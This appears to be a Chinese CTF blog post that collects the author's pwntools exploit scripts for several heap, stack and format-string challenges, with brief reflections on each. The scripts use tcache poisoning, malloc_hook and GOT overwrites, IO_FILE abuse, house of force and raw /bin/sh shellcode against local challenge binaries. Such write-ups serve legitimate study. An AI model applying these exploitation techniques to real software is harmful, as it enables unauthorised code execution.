pwn

Some interesting exercises

in pwn

Posted by pic4xiu on October 5, 2019

第五空间 线下赛

壹業

这个和 0ctf 的 babyheap 挺像的,很简单,但是本地的 so 文件的 one_gadegt 不太好用,本地调不通,很难受,感觉远程可以,应该不用调堆栈吧~~

[8:56:33] pic:壹業 $ one_gadget libc.so.6 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
from pwn import *
#context.log_level='debug'

r=process('./pwn')

def add(size):
    r.recvuntil('>>')
    r.sendline('1')
    r.recvuntil(':')
    r.sendline(str(size))
def show(idx):
    r.recvuntil('>>')
    r.sendline('2')
    r.recvuntil(':')
    r.sendline(str(idx))
def edit(idx,cont):
    r.recvuntil('>>')
    r.sendline('3')
    r.recvuntil(':')
    r.sendline(str(idx))
    r.recvuntil(':')
    r.sendline(cont)
def delete(idx):
    r.recvuntil('>>')
    r.sendline('4')
    r.recvuntil(':')
    r.sendline(str(idx))

add(0x60)#0
add(0x60)#1
add(0x60)#2
add(0xa0)#3
add(0x60)#4
add(0x60)#5
delete(3)
show(3)
r.recvuntil(':')
leak=u64(r.recv(6).ljust(8,'\x00'))
success(hex(leak))
mallochook=leak-0x68



lbase=leak-0x3c4b78
one=lbase+0xf1147

delete(0)
edit(0,p64(mallochook-0x23))

add(0x60)#6
add(0x60)#7
edit(7,'z'*0x13+p64(one))
#gdb.attach(r)
add(0x30)#8

r.interactive()

三學

输入溢出

from pwn import *
context.log_level='debug'
r=process('./pwn3x')

sys=0x8048440
sh=0x804a04c
r.recvuntil(':')
r.sendline('/bin/sh\0')
r.recvuntil(':')
r.sendline('1')
r.recvuntil(':')
r.sendline('-1')
r.recvuntil('\n')
r.sendline('a'*96+p32(sys)+p32(0)+p32(sh))

r.interactive()

四諦

第一次接触到这种必须分析数据结构的堆,简单记录一下

from pwn import *
#context.log_level='debug'
r= process('./pwn')
libc = ELF('libc.so.6')

def addnote(size,content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)
def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

got_puts=0x804c024
func=0x80491f2

addnote(32,"0"*4)#0
addnote(32,"1"*4)#1
addnote(32,"2"*4)#2
delnote(0)
delnote(1)
addnote(8,p32(func)+p32(got_puts))#3
#gdb.attach(r)
printnote(0)
r.recvuntil(':')
puts=u32(r.recv(4))
success(hex(puts))
sys=puts-libc.symbols['puts']+libc.symbols['system']

delnote(3)
addnote(8,p32(sys)+';sh')#4
printnote(0)

r.interactive()

五蘊

from pwn import *
context.log_level='debug'
r=process('./pwn5x')

target=0x804c044
pay=p32(target)+p32(target+1)+p32(target+2)+p32(target+3)+'%10$hhn%11$hhn%12$hhn%13$hhn'
r.recvuntil(':')
r.sendline(pay)
r.recvuntil(':')
r.sendline(str(0x10101010))

r.interactive()

LCTF 2018

baby_heap

第一次做 tcache 的题,看 wp 愣是看了一天才明白,中间换了好几个,实在不好理解,摘抄自大佬,就不给大佬改了,中间加了点容易理解的注释,不知道大家能不能看懂,算了,直接在 wp 里解释一波,怕自己也忘了

from pwn import *
def new(size,note):
  p.recvuntil("?\n> ")
  p.sendline("1")
  p.recvuntil("size \n> ")
  p.sendline(str(size))
  p.recvuntil("content \n> ")
  if size==0:#新方式,拿本本记下来
    return
  else:
     p.send(note)
def delete(index):
  p.recvuntil("> ")
  p.sendline("2")
  p.recvuntil("index \n> ")
  p.sendline(str(index))
#context.log_level='debug'
p=process("./easy_heap")
for i in range(10):
   new(0,"kirin\n")
#make unsorted bin
for i in range(5):
  delete(9-i)#9 8 7 6 5
delete(3)
delete(1)
#tcache full!(1->3->5->6->7->8->9)

delete(2)
delete(0)
delete(4)

#700->300->500(unsortedbin)


for i in range(7):
    new(0,"kirin\n")
# new 0~6 400 600 800 900 a00 b00 c00


new(0,"kirin\n")#700 7
new(0xf8,"\x00")#300 8   off by one
new(0,"kirin\n")#500 9
for i in range(6):#free 1~6
  delete(i+1)
'''
500->c10 -> b10 - a10 - 910 - 810- 610
'''
delete(9)#500
delete(0)#400,合并了,赛高
gdb.attach(p)

#leak
p.recvuntil("?\n> ")
p.sendline("3")
p.recvuntil("index \n> ")
p.sendline("8")
s=p.recv(6)
libc_addr=u64(s.ljust(8,"\x00"))-0x3ebca0
print hex(libc_addr)
#leak over hahaa
#7 8 used


for i in range(8):
  new(0,"kirin\n")
#1   2   3   4   5   6   9
#500 c10 b10 a10 910 810 610
delete(8)
delete(9)
#tcache
#610->300
new(0x10,p64(libc_addr+0x3ebc30))#malloc_hook
new(0x10,"kirin\n")
for i in range(8):
   delete(i)#最后一次返回 malloc
for i in range(8):
   new(0x10,p64(libc_addr+0x10a38c))#one_gadegt
delete(0)
p.recvuntil("> ")
p.sendline("1")
p.interactive()

感觉 tcache 很难构造啊,还得多看源码和调试

1007

from pwn import *
#context.log_level='debug'
r=process('./1007')
r.sendlineafter(':\n','3')
r.sendlineafter('?\n','a'*0x28+p64(0x12345678))
r.sendlineafter(':\n','2')
r.recvuntil('[')
addr = int(r.recvuntil(']')[:-1],16)
r.sendlineafter(':\n','3')
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
a = shellcode.ljust(0x38,'\x00')
r.sendlineafter('?\n',a+p64(addr))
r.sendlineafter(':\n','aa')
r.recv()
r.interactive()

在这里有两个奇怪的点

  • 为啥送 payload 的时候r.sendlineafter('?\n',a+p64(addr+0x40)+a)失败了
  • asm(shellcraft.sh())等一堆 shellcode 都不好用,为啥呢

铁人三项

littlenote

UAF

from pwn import *
io=process('./littlenote')
def add(content):
    io.sendline('1')
    io.sendafter('e\n',content)
    io.sendlineafter('?\n','Y')
    io.recvuntil('e\n')
def show(index):
    io.sendline('2')
    io.sendlineafter('?\n',str(index))
    return (io.recvuntil("\n"))[:-1]

def free(index):
    io.sendline('3')
    io.recvuntil('?\n')
    io.sendline(str(index))
    io.recvuntil('Done\n')

add('\x00'*0x58+p64(0x71))
add('1')
add(p64(0x0)*5+p64(0x41))#bypass
free(1)
free(0)
free(1)

heap_base=u64((show(0)).ljust(8,'\x00'))-0x70
print "heap_base -> " + hex(heap_base)
add(p64(heap_base+0x60))
add('1')
add('1')
add('\x00'*8+p64(0xA1))
free(1)
libc_base=u64((show(1)).ljust(8,'\x00'))-0x3C4B78
print "libc_base -> " + hex(libc_base)
one_gadget=libc_base+0xf02a4
print "one_gadget -> " + hex(one_gadget)
add('7') # 7
add('8') # 8
add('9') # 9
free(7)
free(8)
free(7)
point=libc_base+0x3c4af5-8
print "point -> " +hex(point) 
add(p64(point)) # 10
add('b') # 11
add('c') # 12
add('a'*19+p64(one_gadget))
io.sendline('1')
io.recv()
io.interactive()

这题比较恶心,只能构造一个单位长度的 chunk ,不过还好洞很严重, 2333 . UAF 实在太恐怖了

bookstore

堆溢出

from pwn import *
env=os.environ
#env['LD_PRELOAD']='./libc_64.so'
#context.log_level='debug'
r=process('./bookstore')
def add(author,size,cont):
    r.recvuntil('Your choice:')
    r.sendline('1')
    r.recvuntil('What is the author name?')
    r.sendline(author)
    r.recvuntil('How long is the book name?')
    r.sendline(str(size))
    r.recvuntil('What is the name of the book?')
    r.sendline(cont)
def delete(idx):
    r.recvuntil('Your choice:')
    r.sendline('2')
    r.recvuntil('?')
    r.sendline(str(idx))
def show(idx):
    r.recvuntil('Your choice:')
    r.sendline('3')
    r.recvuntil('?')
    r.sendline(str(idx))
add('a'*0x10,0,'0'*0x10)#0
add('b'*0x10,0x40,'1'*0x10)#1
add('c'*0x10,0x40,'2'*0x10)#2
add('d'*0x10,0x40,'3'*0x10)#3
delete(0)
add('a'*0x10,0,'0'*0x18+p64(0xa1))#0
delete(1)

add('b',0,'1'*1)#1
show(1)
r.recvuntil('\x65\x3a')
lleak=u64(r.recv(6).ljust(8,'\x00'))
print "lleak:"+hex(lleak)
lbase=lleak-0x3c4c31
sys=lbase+0x45390
sh=lbase+0x18cd57
iolistall=lbase+0x3c5520
strjumps=lbase+0x3c37a0

fire=p64(0)+p64(0x61)+p64(0)+p64(iolistall-0x10)+p64(0)+p64(1)+p64(0)+p64(sh)+p64(0)*19+p64(strjumps-8)
fire=fire.ljust(0xe8,'\x00')+p64(sys)
add('e',0,'\x00'*0x10+fire)#4
r.recvuntil('Your choice:')
r.sendline('1')
r.recvuntil('What is the author name?')
r.sendline('test')
r.recvuntil('How long is the book name?')
r.sendline(str(0x40))
r.interactive()

师傅直接根据溢出用 IO_FILE 做的,整的我头皮发麻.又懂了一个知识点,开心,但是这个我不太知道偏移有什么好的办法去算

myhouse

off by one(很大范围)

from pwn import *
env=os.environ
#env['LD_PRELOAD']='./myhouse.so'
#context.log_level='debug'
libc=ELF('./myhouse.so')
r=process('./myhouse')
def addroom(size):
    r.recvuntil('Your choice:\n')
    r.sendline('1')
    r.recvuntil('What is the size of your room?')
    r.sendline(str(size))
def editroom(cont):
    r.recvuntil('Your choice:')
    r.sendline('2')
    r.recvuntil('shining!')
    r.send(cont)
def show():
    r.recvuntil('Your choice:')
    r.sendline('3')
#step 1:write '\x00' to main_arena's top_chunk pointer and set top's size
r.recvuntil('name?')
r.send('a'*0x20)
r.recvuntil('name of your house?')
r.send('b'*0xf8+p64(0xffffffffffffffff))
gdb.attach(r)
r.recvuntil('size of your house?')
r.sendline(str(0x5c5b69))
r.recvuntil('Too large!')
r.sendline(str(0x200000))
gdb.attach(r)
r.recvuntil('Give me its description:')
r.send('c'*0x30)
#step 2:leak heap address
show()
r.recvuntil('a'*0x20)
heap=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "heap:"+hex(heap)

#step 3:house of force
bssp=0x6020c0
addroom(bssp-(heap+0xf0)-0x20)
addroom(0x60)
#step 4:leak GOT and change GOT
got_atoi=0x602058
editroom(p64(got_atoi)+p64(got_atoi))
show()
r.recvuntil('And description:\n')
atoi=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "atoi:"+hex(atoi)
sys=atoi-libc.symbols['atoi']+libc.symbols['system']
editroom(p64(sys))
r.sendline('sh')
r.interactive()

师傅跪了,思路太无敌了,很清楚,得消化两天